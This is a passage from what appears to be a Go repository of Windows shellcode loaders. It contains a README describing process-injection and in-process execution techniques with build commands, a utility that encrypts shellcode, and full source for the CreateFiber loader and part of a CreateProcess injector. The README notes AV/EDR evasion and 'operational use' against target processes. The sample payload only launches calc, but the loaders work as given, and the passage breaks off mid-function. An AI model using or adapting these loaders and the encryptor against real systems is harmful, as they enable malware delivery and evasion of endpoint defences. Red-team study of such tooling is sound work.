51 | `set GOOS=windows GOARCH=amd64;go build -o CreateProcessWithPipe.exe .\cmd\CreateProcessWithPipe\main.go`
52 |
53 | ## CreateRemoteThread
54 |
55 | This application leverages the Windows [CreateRemoteThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread) function from `Kernel32.dll` to execute shellocde in a remote process. The application requires that the target process to inject into is already running. The targe Process Identifier (PID) can provided at runtime for testing using the `-pid` command line flag. Hardcode the PID in the following line of code for operational use by replacing the `0` with your target PID:
56 |
57 | `pid := flag.Int("pid", 0, "Process ID to inject shellcode into")`
58 |
59 | This application leverages functions from the `golang.org/x/sys/windows` package, where feasible, like the [`windows.OpenProcess()`](https://github.com/golang/sys/blob/a7d97aace0b0/windows/zsyscall_windows.go#L1197). The application can be compiled wit the following command on a Windows host from the project's root directory:
60 |
61 | `set GOOS=windows GOARCH=amd64;go build -o CreateRemoteThread.exe .\cmd\CreateRemoteThread\main.go`
62 |
63 | ## CreateRemoteThreadNative
64 |
65 | This application leverages the Windows [CreateRemoteThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread) function from `Kernel32.dll` to execute shellocde in a remote process. The application requires that the target process to inject into is already running. The targe Process Identifier (PID) can provided at runtime for testing using the `-pid` command line flag. Hardcode the PID in the following line of code for operational use by replacing the `0` with your target PID:
66 |
67 | `pid := flag.Int("pid", 0, "Process ID to inject shellcode into")`
68 |
69 | This application **DOES NOT** leverage functions from the `golang.org/x/sys/windows` package. The most significant difference is that this application loads all the necessary DLLs and Procedures itself and uses the procedure's Call() function. The application can be compiled with the following command on Windows host from the project's root directory:
70 |
71 | `set GOOS=windows GOARCH=amd64;go build -o CreateRemoteThreadNative.exe .\cmd\CreateRemoteThreadNative\main.go`
72 |
73 | ## CreateThread
74 |
75 | This application leverages the Windows [CreateThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread) function from `Kernel32.dll` to execute shellcode within this application's process. This is usefull when you want to avoid remote process injection. This application leverages functions from the `golang.org/x/sys/windows` package, where feasible, like the [windows.VirtualAlloc()`](https://github.com/golang/sys/blob/a7d97aace0b0/windows/zsyscall_windows.go#L1712). The application can be compiled with the following command on Windows host from the project's root directory:
76 |
77 | `set GOOS=windows GOARCH=amd64;go build -o CreateThread.exe .\cmd\CreateThread\main.go`
78 |
79 | ## CreateThreadNative
80 |
81 | This application leverages the Windows [CreateThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread) function from the `Kernel32.dll` to execute shellcode within this application's process. This is usefull when you want to avoid remote process injection. This application **DOES NOT** leverage functions from the `golang.org/x/sys/windows` package. The most significant difference is that this application loads all the necessary DLLs and Procedures itself and uses the procedure's Call() function. The application can be compiled with the following command on Windows host from the project's root directory:
82 |
83 | `set GOOS=windows GOARCH=amd64;go build -o CreateThreadNative.exe .\cmd\CreateThreadNative\main.go`
84 |
85 | ## EarlyBird
86 |
87 | The application leverages the Windows [CreateProcess](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw) function to create a process in a suspended state. Once the child process is suspended, the Windows [QueueUserAPC](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc) function is used to add a UserAPC to the child process that points to the allocate shellcode. Next, [ResumeThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-resumethread) is called, which subsequently calls the undocumented [NtTestAlert](http://undocumented.ntinternals.net/) function that will execute the created UserAPC and in turn the shellcode. This is usefull because the shellcode will execute before AV/EDR can hook functions to support detection. Reference [New 'Early Bird' Code Injection Technique Discovered](https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/). The application can be compiled with the following command on Windows host from the project's root directory:
88 |
89 | `export GOOS=windows GOARCH=amd64;go build -o goEarlyBird.exe cmd\EarlyBird\main.go`
90 |
91 | ## EtwpCreateEtwThread
92 |
93 | This application leverages the Windows [EtwpCreateEtwThread](https://www.geoffchappell.com/studies/windows/win32/ntdll/api/etw/index.htm) function from `ntdll.dll` to execute shellcode within this application's process. Original work by [TheWover](https://gist.github.com/TheWover/b2b2e427d3a81659942f4e8b9a978dc3). This is usefull when you want to avoid remote process injection. This application **DOES NOT** leverage functions from the `golang.org/x/sys/windows` package. The most significant difference is that this application loads all the necessary DLLs and Procedures itself and uses the procedure's Call() function. The application can be compiled with the following command on a Windows host from the project's root directory:
94 |
95 | `set GOOS=windows GOARCH=amd64;go build -o EtwpCreateEtwThread.exe .\cmd\EtwpCreateEtwThread\main.go`
96 |
97 | ## NtQueueApcThreadEx (local)
98 |
99 | This application uses the undocumented [NtQueueApcThreadEx](https://docs.rs/ntapi/0.3.1/ntapi/ntpsapi/fn.NtQueueApcThreadEx.html) to create a "Special User APC" in the current thread of the current process to execute shellcode. Because the shellcode is loaded and executed in the current process, it is "local". This same technique can be used for a remote process. *NOTE:* This will only work on Windows 7 or later. Reference [APC Series: User APC API](https://repnz.github.io/posts/apc/user-apc/).
100 |
101 | `export GOOS=windows GOARCH=amd64;go build -o goNtQueueApcThreadEx-Local.exe cmd\NtQueueApcThreadEx-Local\main.go`
102 |
103 | ## RtlCreateUserThread
104 |
105 | This application leverages the Windows [RtlCreateUserThread](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FRtlCreateUserThread.html) function from `ntdll.dll` to execute shellocde in a remote process. The application requires that the target process to inject into is already running. The targe Process Identifier (PID) can provided at runtime for testing using the `-pid` command line flag. Hardcode the PID in the following line of code for operational use by replacing the `0` with your target PID:
106 |
107 | `pid := flag.Int("pid", 0, "Process ID to inject shellcode into")`
108 |
109 | This application **DOES NOT** leverage functions from the `golang.org/x/sys/windows` package. The most significant difference is that this application loads all the necessary DLLs and Procedures itself and uses the procedure's Call() function. The application can be compiled with the following command on a Windows host from the project's root directory:
110 |
111 | `set GOOS=windows GOARCH=amd64;go build -o RtlCreateUserThread.exe .\cmd\RtlCreateUserThread\main.go`
112 |
113 | ## Syscall
114 |
115 | This application executes Shellcode in the current running proccess by making a Syscall on the Shellcode's entry point. This application **DOES NOT** leverage functions from the `golang.org/x/sys/windows` package. The application can be compiled with the following command on a Windows host from the project's root directory:
116 |
117 | `set GOOS=windows GOARCH=amd64;go build -o Syscall.exe .\cmd\Syscall\main.go`
118 |
119 | ## UuidFromStringA
120 |
121 | This application leverages the Windows [UuidFromStringA](https://docs.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce-uuidfromstringa) function to load shellcode to a memory address and then calls the [EnumSystemLocalesA](https://docs.microsoft.com/en-us/windows/win32/api/winnls/nf-winnls-enumsystemlocalesa) function to execute the shellcode. This method of loading and executing shellcode was derived from nccgroup's [RIFT: Analysing a Lazarus Shellcode Execution Method](https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/). For this application, memory is allocated on the heap and it does not use VirtualAlloc. The application can be compiled with the following command on a Windows host from the project's root directory:
122 |
123 | `set GOOS=windows GOARCH=amd64;go build -o UuidFromString.exe .\cmd\UuidFromString\main.go`
124 |
125 | ## ShellcodeUtils
126 |
127 | This application is used to transform shellcode binary files. The program depends that the input file is a binary file (.bin) that contains the hex bytes of the shellcode. ShellcodeUtils can just base64 encode your input file or it can XOR, RC4, or AES256-GCM encrypt it. The tools can also be used to decrypt files as well.
128 |
129 | ShellcodeUtils help menu:
130 |
131 | ```text
132 | -base64
133 | Base64 encode the output. Can be used with or without encryption
134 | -i string
135 | Input file path of binary file
136 | -key string
137 | Encryption key
138 | -mode string
139 | Mode of operation to perform on the input file [encrypt,decrypt] (default "encrypt")
140 | -nonce string
141 | Nonce, in hex, used to decrypt an AES256 input file. Only used during decryption
142 | -o string
143 | Output file path
144 | -salt string
145 | Salt, in hex, used to generate an AES256 32-byte key through Argon2. Only used during decryption
146 | -type string
147 | The type of encryption to use [xor, aes256, rc4, null]
148 | -v Enable verbose output
149 | ```
150 |
151 | Example of only Base64 encoding the input file and saving it a text file:
152 |
153 | ```text
154 | PS C:\Users\bob> .\ShellcodeUtils.exe -i C:\Users\bob\calc.bin -o C:\Users\bob\calc.b64.txt -base64 -v
155 | [-]Output directory: C:\Users\bob\
156 | [-]Output file name: calc.b64.txt
157 | [-]File contents (hex): 505152535657556a605a6863616c6354594883ec2865488b32488b7618488b761048ad488b30488b7e3003573c8b5c17288b741f204801fe8b541f240fb72c178d5202ad813c0757696e4575ef8b741f1c4801fe8b34ae4801f799ffd74883c4305d5f5e5b5a5958c3
158 | [-]No encryption type provided, continuing on...
159 | [+]Output (string):
160 | UFFSU1ZXVWpgWmhjYWxjVFlIg+woZUiLMkiLdhhIi3YQSK1IizBIi34wA1c8i1wXKIt0HyBIAf6LVB8kD7csF41SAq2BPAdXaW5Fde+LdB8cSAH+izSuSAH3mf/XSIPEMF1fXltaWVjD
161 | [+] encrypt input and wrote 140 bytes to: C:\Users\bob\calc.b64.txt
162 | ```
163 |
164 | Example XOR encrypting input file with a key of `Sh3!1z` AND base64 encoding the output:
165 |
166 | ```text
167 | PS C:\Users\bob> .\ShellcodeUtils.exe -i C:\Users\bob\calc.bin -o C:\Users\bob\calc.xor.b64.txt -mode encrypt -type xor -key Sh3!1z -v
168 | [-]Output directory: C:\Users\bob\
169 | [-]Output file name: calc.xor.b64.txt
170 | [-]File contents (hex): 505152535657556a605a6863616c6354594883ec2865488b32488b7618488b761048ad488b30488b7e3003573c8b5c17288b741f204801fe8b541f240fb72c178d5202ad813c0757696e4575ef8b741f1c4801fe8b34ae4801f799ffd74883c4305d5f5e5b5a5958c3
171 | [-]XOR encrypting input file with key: Sh3!1z
172 | [+]Output (hex):
173 | 03396172672d0602537b5919320450756832d0841b4479f16120b8572932d81e23699c32d8587baa4f4a503f0faa6d6d7be3473e11325296b8752e5e5cdf1f36bc2851c5b21d362d3a067654def127772f693084d85c9d69308dca97e469b2be63356c7f6a200a30f0
174 | [+]xor encrypt input and wrote 105 bytes to: C:\Users\bob\calc.xor.b64.txt
175 | ```
176 |
177 | Example AES256-GCM encrypting the input file with a password of `Sh3!1z` WITHOUT base64 encoding the ouput:
178 |
179 | ```text
180 | PS C:\Users\bob> .\ShellcodeUtils.exe -i C:\Users\bob\calc.bin -o C:\Users\bob\calc.aes.bin -mode encrypt -type aes256 -key Sh3!1z -v
181 | [-]Output directory: C:\Users\bob\
182 | [-]Output file name: calc.aes.bin
183 | [-]File contents (hex): 505152535657556a605a6863616c6354594883ec2865488b32488b7618488b761048ad488b30488b7e3003573c8b5c17288b741f204801fe8b541f240fb72c178d5202ad813c0757696e4575ef8b741f1c4801fe8b34ae4801f799ffd74883c4305d5f5e5b5a5958c3
184 | [-]AES256 encrypting input file
185 | [+]Argon2 salt (hex): db6126d3ac640f8aaa67cda74b8cf1d2c54513db7bf4fbe3422d1b276af1367e
186 | [+]AES256 key (32-bytes) derived from input password Sh3!1z (hex): 096a40f1aef38dd9b5d63284acc19727c4420dd98f21ea052112bef63eb7d94a
187 | [+]AES256 nonce (hex): 13802153c4b2fb6a3e545ff4
188 | [+]Output (hex):
189 | 44a974233e37b460dc2181b16846f265e8e3a07959abf9c8760f7d0ac8029575e67571ea5b313bc8b011739db57c690ec156a4b0bba4e4d632c35c1490aeaac24f5ae05e90934adf57798ee3c702a3c27073fe976fbcc6ee5db355da186c1add58913e41a8c5716a0fcfc27371f0cae906e50e680366496a00
190 | [+]aes256 encrypt input and wrote 121 bytes to: C:\Users\bob\calc.aes.bin
191 | ```
192 |
193 | AES256 requires a 32-byte key. This program uses the Argon2 ID algorithm to take the password provided with the `-key` input paramter to derive a 32-byte key while using a randomly generate salt. You will need the same input password and the salt used with the Argon2 algorithm and the same nonce used with the AES256 algorithm to successfull decrypt the file. Alternatively, the decryption function _could_ be updated to just use the 32-byte Argon2 key instead of the input password and salt.
194 |
195 | >**NOTE:** It is up to the operator to decide to just use the generated Argon2 key or to use the password and salt that are used to generate the password.
196 |
197 | Example AES256 decrypting the input file:
198 |
199 | ```text
200 | PS C:\Users\bob> .\ShellcodeUtils.exe -i C:\Users\bob\calc.aes.bin -o C:\Users\bob\calc.aes.decrypted.bin -mode decrypt -type aes256 -key Sh3!1z -nonce 13802153c4b2fb6a3e545ff4 -salt db6126d3ac640f8aaa67cda74b8cf1d2c54513db7bf4fbe3422d1b276af1367e -v
201 | [-]Output directory: C:\Users\bob\
202 | [-]Output file name: calc.aes.decrypted.bin
203 | [-]File contents (hex): 44a974233e37b460dc2181b16846f265e8e3a07959abf9c8760f7d0ac8029575e67571ea5b313bc8b011739db57c690ec156a4b0bba4e4d632c35c1490aeaac24f5ae05e90934adf57798ee3c702a3c27073fe976fbcc6ee5db355da186c1add58913e41a8c5716a0fcfc27371f0cae906e50e680366496a00
204 | [-]AES256 decrypting input file
205 | [-]Argon2 salt (hex): db6126d3ac640f8aaa67cda74b8cf1d2c54513db7bf4fbe3422d1b276af1367e
206 | [-]AES256 key (hex): 096a40f1aef38dd9b5d63284acc19727c4420dd98f21ea052112bef63eb7d94a
207 | [-]AES256 nonce (hex): 13802153c4b2fb6a3e545ff4
208 | [+]Output (hex):
209 | 505152535657556a605a6863616c6354594883ec2865488b32488b7618488b761048ad488b30488b7e3003573c8b5c17288b741f204801fe8b541f240fb72c178d5202ad813c0757696e4575ef8b741f1c4801fe8b34ae4801f799ffd74883c4305d5f5e5b5a5958c3
210 | [+]aes256 decrypt input and wrote 105 bytes to: C:\Users\bob\calc.aes.decrypted.bin
211 | ```
212 |
213 | The application can be compiled with the following command on a Windows host from the project's root directory:
214 |
215 | `set GOOS=windows GOARCH=amd64;go build -o ShellcodeUtils.exe .\cmd\ShellcodeUtils\main.go`
216 |
--------------------------------------------------------------------------------
/cmd/CreateFiber/main.go:
--------------------------------------------------------------------------------
1 | // +build windows
2 |
3 | /*
4 | This program executes shellcode in the current process using the following steps
5 | 1. Convert the main thread into a fiber with the ConvertThreadToFiber function
6 | 2. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
7 | 3. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
8 | 4. Change the memory page permissions to Execute/Read with VirtualProtect
9 | 5. Call CreateFiber on shellcode address
10 | 6. Call SwitchToFiber to start the fiber and execute the shellcode
11 |
12 | NOTE: Currently this program will NOT exit even after the shellcode has been executed. You must force terminate this process
13 |
14 | This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
15 | Reference: https://ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-createfiber
16 | */
17 |
18 | package main
19 |
20 | import (
21 | "encoding/hex"
22 | "flag"
23 | "fmt"
24 | "log"
25 | "unsafe"
26 |
27 | // Sub Repositories
28 | "golang.org/x/sys/windows"
29 | )
30 |
31 | const (
32 | // MEM_COMMIT is a Windows constant used with Windows API calls
33 | MEM_COMMIT = 0x1000
34 | // MEM_RESERVE is a Windows constant used with Windows API calls
35 | MEM_RESERVE = 0x2000
36 | // PAGE_EXECUTE_READ is a Windows constant used with Windows API calls
37 | PAGE_EXECUTE_READ = 0x20
38 | // PAGE_READWRITE is a Windows constant used with Windows API calls
39 | PAGE_READWRITE = 0x04
40 | )
41 |
42 | func main() {
43 | verbose := flag.Bool("verbose", false, "Enable verbose output")
44 | debug := flag.Bool("debug", false, "Enable debug output")
45 | flag.Parse()
46 |
47 | // Pop Calc Shellcode
48 | shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
49 | if errShellcode != nil {
50 | log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
51 | }
52 |
53 | if *debug {
54 | fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll")
55 | }
56 | kernel32 := windows.NewLazySystemDLL("kernel32.dll")
57 | ntdll := windows.NewLazySystemDLL("ntdll.dll")
58 |
59 | if *debug {
60 | fmt.Println("[DEBUG]Loading VirtualAlloc, VirtualProtect and RtlCopyMemory procedures")
61 | }
62 | VirtualAlloc := kernel32.NewProc("VirtualAlloc")
63 | VirtualProtect := kernel32.NewProc("VirtualProtect")
64 | RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
65 | ConvertThreadToFiber := kernel32.NewProc("ConvertThreadToFiber")
66 | CreateFiber := kernel32.NewProc("CreateFiber")
67 | SwitchToFiber := kernel32.NewProc("SwitchToFiber")
68 |
69 | if *debug {
70 | fmt.Println("[DEBUG]Calling ConvertThreadToFiber...")
71 | }
72 |
73 | fiberAddr, _, errConvertFiber := ConvertThreadToFiber.Call()
74 |
75 | if errConvertFiber != nil && errConvertFiber.Error() != "The operation completed successfully." {
76 | log.Fatal(fmt.Sprintf("[!]Error calling ConvertThreadToFiber:\r\n%s", errConvertFiber.Error()))
77 | }
78 |
79 | if *verbose {
80 | fmt.Println(fmt.Sprintf("[-]Fiber address: %x", fiberAddr))
81 | }
82 |
83 | if *debug {
84 | fmt.Println("[DEBUG]Calling VirtualAlloc for shellcode")
85 | }
86 | addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
87 |
88 | if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
89 | log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
90 | }
91 |
92 | if addr == 0 {
93 | log.Fatal("[!]VirtualAlloc failed and returned 0")
94 | }
95 |
96 | if *verbose {
97 | fmt.Println(fmt.Sprintf("[-]Allocated %d bytes", len(shellcode)))
98 | }
99 |
100 | if *debug {
101 | fmt.Println("[DEBUG]Copying shellcode to memory with RtlCopyMemory")
102 | }
103 | _, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
104 |
105 | if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
106 | log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error()))
107 | }
108 | if *verbose {
109 | fmt.Println("[-]Shellcode copied to memory")
110 | }
111 |
112 | if *debug {
113 | fmt.Println("[DEBUG]Calling VirtualProtect to change memory region to PAGE_EXECUTE_READ")
114 | }
115 |
116 | oldProtect := PAGE_READWRITE
117 | _, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
118 | if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {
119 | log.Fatal(fmt.Sprintf("Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error()))
120 | }
121 | if *verbose {
122 | fmt.Println("[-]Shellcode memory region changed to PAGE_EXECUTE_READ")
123 | }
124 |
125 | if *debug {
126 | fmt.Println("[DEBUG]Calling CreateFiber...")
127 | }
128 |
129 | fiber, _, errCreateFiber := CreateFiber.Call(0, addr, 0)
130 |
131 | if errCreateFiber != nil && errCreateFiber.Error() != "The operation completed successfully." {
132 | log.Fatal(fmt.Sprintf("[!]Error calling CreateFiber:\r\n%s", errCreateFiber.Error()))
133 | }
134 |
135 | if *verbose {
136 | fmt.Println(fmt.Sprintf("Shellcode fiber created: %x", fiber))
137 | }
138 |
139 | if *debug {
140 | fmt.Println("[DEBUG]Calling SwitchToFiber function to execute the shellcode")
141 | }
142 |
143 | _, _, errSwitchToFiber := SwitchToFiber.Call(fiber)
144 |
145 | if errSwitchToFiber != nil && errSwitchToFiber.Error() != "The operation completed successfully." {
146 | log.Fatal(fmt.Sprintf("[!]Error calling SwitchToFiber:\r\n%s", errSwitchToFiber.Error()))
147 | }
148 |
149 | if *verbose {
150 | fmt.Println("[+]Shellcode Executed")
151 | }
152 |
153 | if *debug {
154 | fmt.Println("[DEBUG]Calling SwitchToFiber on main thread/fiber")
155 | }
156 |
157 | _, _, errSwitchToFiber2 := SwitchToFiber.Call(fiberAddr)
158 |
159 | if errSwitchToFiber2 != nil && errSwitchToFiber2.Error() != "The operation completed successfully." {
160 | log.Fatal(fmt.Sprintf("[!]Error calling SwitchToFiber:\r\n%s", errSwitchToFiber2.Error()))
161 | }
162 | }
163 |
164 | // export GOOS=windows GOARCH=amd64;go build -o goCreateFiberNative.exe cmd/CreateFiber/main.go
165 |
--------------------------------------------------------------------------------
/cmd/CreateProcess/main.go:
--------------------------------------------------------------------------------
1 | // +build windows
2 |
3 | package main
4 |
5 | import (
6 | "encoding/binary"
7 | "encoding/hex"
8 | "flag"
9 | "fmt"
10 | "log"
11 | "os"
12 | "syscall"
13 | "unsafe"
14 |
15 | // Sub Repositories
16 | "golang.org/x/sys/windows"
17 | )
18 |
19 | func main() {
20 | verbose := flag.Bool("verbose", false, "Enable verbose output")
21 | debug := flag.Bool("debug", false, "Enable debug output")
22 | program := flag.String("program", "C:\\Windows\\System32\\notepad.exe", "The program to start and inject shellcode into")
23 | args := flag.String("args", "", "Program command line arguments")
24 | flag.Usage = func() {
25 | flag.PrintDefaults()
26 | os.Exit(0)
27 | }
28 | flag.Parse()
29 |
30 | // Pop Calc Shellcode (x64)
31 | shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
32 | if errShellcode != nil {
33 | log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
34 | }
35 |
36 | if *debug {
37 | fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll...")
38 | }
39 |
40 | // Load DLLs and Procedures
41 | kernel32 := windows.NewLazySystemDLL("kernel32.dll")
42 | ntdll := windows.NewLazySystemDLL("ntdll.dll")
43 |
44 | if *debug {
45 | fmt.Println("[DEBUG]Loading supporting procedures...")
46 | }
47 | VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
48 | VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
49 | WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
50 | NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
51 |
52 | // Create child proccess in suspended state
53 | /*
54 | BOOL CreateProcessW(
55 | LPCWSTR lpApplicationName,
56 | LPWSTR lpCommandLine,
57 | LPSECURITY_ATTRIBUTES lpProcessAttributes,
58 | LPSECURITY_ATTRIBUTES lpThreadAttributes,
59 | BOOL bInheritHandles,
60 | DWORD dwCreationFlags,
61 | LPVOID lpEnvironment,
62 | LPCWSTR lpCurrentDirectory,
63 | LPSTARTUPINFOW lpStartupInfo,
64 | LPPROCESS_INFORMATION lpProcessInformation
65 | );
66 | */
67 |
68 | if *debug {
69 | fmt.Println(fmt.Sprintf("[DEBUG]Calling CreateProcess to start:\r\n\t%s %s...", *program, *args))
70 | }
71 | procInfo := &windows.ProcessInformation{}
72 | startupInfo := &windows.StartupInfo{
73 | Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,
74 | ShowWindow: 1,
75 | }
76 | errCreateProcess := windows.CreateProcess(syscall.StringToUTF16Ptr(*program), syscall.StringToUTF16Ptr(*args), nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, startupInfo, procInfo)
77 | if errCreateProcess != nil && errCreateProcess.Error() != "The operation completed successfully." {
78 | log.Fatal(fmt.Sprintf("[!]Error calling CreateProcess:\r\n%s", errCreateProcess.Error()))
79 | }
80 | if *verbose {
81 | fmt.Println(fmt.Sprintf("[-]Successfully created the %s process in PID %d", *program, procInfo.ProcessId))
82 | }
83 |
84 | // Allocate memory in child process
85 | if *debug {
86 | fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualAllocEx on PID %d...", procInfo.ProcessId))
87 | }
88 | addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(procInfo.Process), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
89 |
90 | if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
91 | log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
92 | }
93 |
94 | if addr == 0 {
95 | log.Fatal("[!]VirtualAllocEx failed and returned 0")
96 | }
97 | if *verbose {
98 | fmt.Println(fmt.Sprintf("[-]Successfully allocated memory in PID %d", procInfo.ProcessId))
99 | }
100 | if *debug {
101 | fmt.Println(fmt.Sprintf("[DEBUG]Shellcode address: 0x%x", addr))
102 | }
103 |
104 | // Write shellcode into child process memory
105 | if *debug {
106 | fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory on PID %d...", procInfo.ProcessId))
107 | }
108 | _, _, errWriteProcessMemory := WriteProcessMemory.Call(uintptr(procInfo.Process), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
109 |
110 | if errWriteProcessMemory != nil && errWriteProcessMemory.Error() != "The operation completed successfully." {
111 | log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory.Error()))
112 | }
113 | if *verbose {
114 | fmt.Println(fmt.Sprintf("[-]Successfully wrote %d shellcode bytes to PID %d", len(shellcode), procInfo.ProcessId))
115 | }
116 |
117 | // Change memory permissions to RX in child process where shellcode was written
118 | if *debug {
119 | fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualProtectEx on PID %d...", procInfo.ProcessId))
120 | }
121 | oldProtect := windows.PAGE_READWRITE
122 | _, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(procInfo.Process), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
123 | if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." {
124 | log.Fatal(fmt.Sprintf("Error calling VirtualProtectEx:\r\n%s", errVirtualProtectEx.Error()))
125 | }
126 | if *verbose {
127 | fmt.Println(fmt.Sprintf("[-]Successfully changed memory permissions to PAGE_EXECUTE_READ in PID %d", procInfo.ProcessId))
128 | }
129 |
130 | // Query the child process and find its image base address from its Process Environment Block (PEB)
131 | // https://github.com/winlabs/gowin32/blob/0b6f3bef0b7501b26caaecab8d52b09813224373/wrappers/winternl.go#L37
132 | // http://bytepointer.com/resources/tebpeb32.htm
133 | // https://www.nirsoft.net/kernel_struct/vista/PEB.html
134 | type PEB struct {
135 | //reserved1 [2]byte // BYTE 0-1
136 | InheritedAddressSpace byte // BYTE 0
137 | ReadImageFileExecOptions byte // BYTE 1
138 | BeingDebugged byte // BYTE 2
139 | reserved2 [1]byte // BYTE 3
140 | // ImageUsesLargePages : 1; //0x0003:0 (WS03_SP1+)
141 | // IsProtectedProcess : 1; //0x0003:1 (Vista+)
142 | // IsLegacyProcess : 1; //0x0003:2 (Vista+)
143 | // IsImageDynamicallyRelocated : 1; //0x0003:3 (Vista+)
144 | // SkipPatchingUser32Forwarders : 1; //0x0003:4 (Vista_SP1+)
145 | // IsPackagedProcess : 1; //0x0003:5 (Win8_BETA+)
146 | // IsAppContainer : 1; //0x0003:6 (Win8_RTM+)
147 | // SpareBit : 1; //0x0003:7
148 | //reserved3 [2]uintptr // PVOID BYTE 4-8
149 | Mutant uintptr // BYTE 4
150 | ImageBaseAddress uintptr // BYTE 8
151 | Ldr uintptr // PPEB_LDR_DATA
152 | ProcessParameters uintptr // PRTL_USER_PROCESS_PARAMETERS
153 | reserved4 [3]uintptr // PVOID
154 | AtlThunkSListPtr uintptr // PVOID
155 | reserved5 uintptr // PVOID
156 | reserved6 uint32 // ULONG
157 | reserved7 uintptr // PVOID
158 | reserved8 uint32 // ULONG
159 | AtlThunkSListPtr32 uint32 // ULONG
160 | reserved9 [45]uintptr // PVOID
161 | reserved10 [96]byte // BYTE
162 | PostProcessInitRoutine uintptr // PPS_POST_PROCESS_INIT_ROUTINE
163 | reserved11 [128]byte // BYTE
164 | reserved12 [1]uintptr // PVOID
165 | SessionId uint32 // ULONG
166 | }
167 |
168 | // https://github.com/elastic/go-windows/blob/master/ntdll.go#L77
169 | type PROCESS_BASIC_INFORMATION struct {
170 | reserved1 uintptr // PVOID
171 | PebBaseAddress uintptr // PPEB
172 | reserved2 [2]uintptr // PVOID
173 | UniqueProcessId uintptr // ULONG_PTR
174 | InheritedFromUniqueProcessID uintptr // PVOID
175 | }
176 |
177 | if *debug {
178 | fmt.Println(fmt.Sprintf("[DEBUG]Calling NtQueryInformationProcess on %d...", procInfo.ProcessId))
179 | }
180 |
181 | var processInformation PROCESS_BASIC_INFORMATION
182 | var returnLength uintptr
183 | ntStatus, _, errNtQueryInformationProcess := NtQueryInformationProcess.Call(uintptr(procInfo.Process), 0, uintptr(unsafe.Pointer(&processInformation)), unsafe.Sizeof(processInformation), returnLength)
184 | if errNtQueryInformationProcess != nil && errNtQueryInformationProcess.Error() != "The operation completed successfully." {
185 | log.Fatal(fmt.Sprintf("[!]Error calling NtQueryInformationProcess:\r\n\t%s", errNtQueryInformationProcess.Error()))
186 | }
187 | if ntStatus != 0 {
188 | if ntStatus == 3221225476 {
189 | log.Fatal("[!]Error calling NtQueryInformationProcess: STATUS_INFO_LENGTH_MISMATCH") // 0xc0000004 (3221225476)
190 | }
